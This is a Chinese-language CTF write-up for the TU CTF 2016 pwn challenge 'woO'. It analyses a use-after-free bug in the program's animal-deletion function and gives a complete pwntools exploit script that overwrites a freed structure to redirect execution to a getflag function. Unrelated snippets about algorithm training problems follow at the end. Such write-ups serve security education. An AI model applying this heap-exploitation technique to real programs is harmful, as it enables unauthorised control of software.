TU ctf 2016 pwn woO 分析記錄

2021-08-09 04:46:32 字數 1851 閱讀 5728

小動物很可愛的說?

放在ida中分析,發現已經有了獲取flag的函式,不需要自己找system了,接下來就是如何控制程式的執行流程。

首先對程式功能作基本的分析:

新建動物時malloc乙個結構體存放動物的資訊,如果是熊,結構體的0x0-0x8存放0xdeadbeef,0x8-0x14存放動物的名字,0x14-0x20存放動物的type;

如果是其他動物,從0開始存放動物的名字。維護了乙個全域性指標pointers,作為乙個目錄表記錄所有的結構體位址。

使用uaf的姿勢,關鍵在於delete功能:

void deleteanimal()

首先第乙個結構體無法被delete,所以大致流程為:makebear--->makebear---->makebear--->delete(1) 下次malloc時就會優先分配到第二個結構體的位置,此時maketiger(除熊外隨便動物,不能是熊,否則會更新bearoffset),輸入動物的名字時就會從第二個結構體的起始處開始存放,從而覆蓋掉第三個結構體起始處的0xdeadbeef:

此時呼叫delete就會執行&pointers+3  (0x155e470)指向的指令,從而實現程式流程控制

作者已經給出了getflag的函式不需要自己再構造system來getshell,getflag的函式位址位0x4008dd

#!/usr/bin/python2

# coding:utf-8

from pwn import *

def make_bear(s, name='hello'):

log.info('****** a bear with name ' + name)

s.recv()

s.sendline('3')

s.recv()

s.sendline('3')

s.recv()

s.sendline(name)

def make_tiger(s, name='hello'):

log.info('****** a tiger with name ' + name)

s.recv()

s.sendline('2')

s.recv()

s.sendline('3')

s.recv()

s.sendline(name)

def delete_animal(s, num):

log.info('delete animal ' + num)

s.recv()

s.sendline('4')

s.recv()

s.sendline(num)

def send_pwn(s):

log.info('sending to pwn')

s.recv()

s.sendline('4919')

def pwn():

s = process("./ani")

make_bear(s)

make_bear(s)

make_bear(s)

delete_animal(s, '1')

make_tiger(s, 'a' * 32 + '\xdd\x08\x40\x00')

gdb.attach(s,'b pwnme')

send_pwn(s)

log.info("flag is :" + s.recv())

if __name__ == "__main__":

pwn()

參考:

2016寒假訓練 二分

poj3104 用模擬會超時,所以考慮用二分節約時間 首先分析,實際上是每一次都是去烘乾水量最大的,風乾其他的,然後烘完再排序一下,重複這一操作,直到所有的都為1。當然,模擬顯然是會超時的。所以我們這樣考慮,我們這樣考慮,如果對於乙個時間t,我們的有一部分衣服就會自然風乾,有一部分衣服需要自己來烘乾...

2016寒假訓練 二分(2)

poj3122 就是說現在有n個餅,f個朋友來分,要求 f 1 個能分的一塊餅上的一塊,不能來自不同的餅,這個題目就明顯多了,就是估計大概的餅的面積,然後分了試試看,模擬進行和人數進行比較。技巧 1.這裡poj的discuss中提到,這裡pi取3.1415926不夠,所以這裡可以用pi acos 1...

NOI2016 優秀的拆分 95分

uoj 傳送門 題目大意 給出一串字串,求它的子串中形如aabb的方案個數。90 len 2000 o n 2 的做法可以過。100 len 30000,蒟蒻不會啦。o n 2 的做法 列舉中間點,求出兩邊形如aa的個數,相乘加入答案中。include include include include...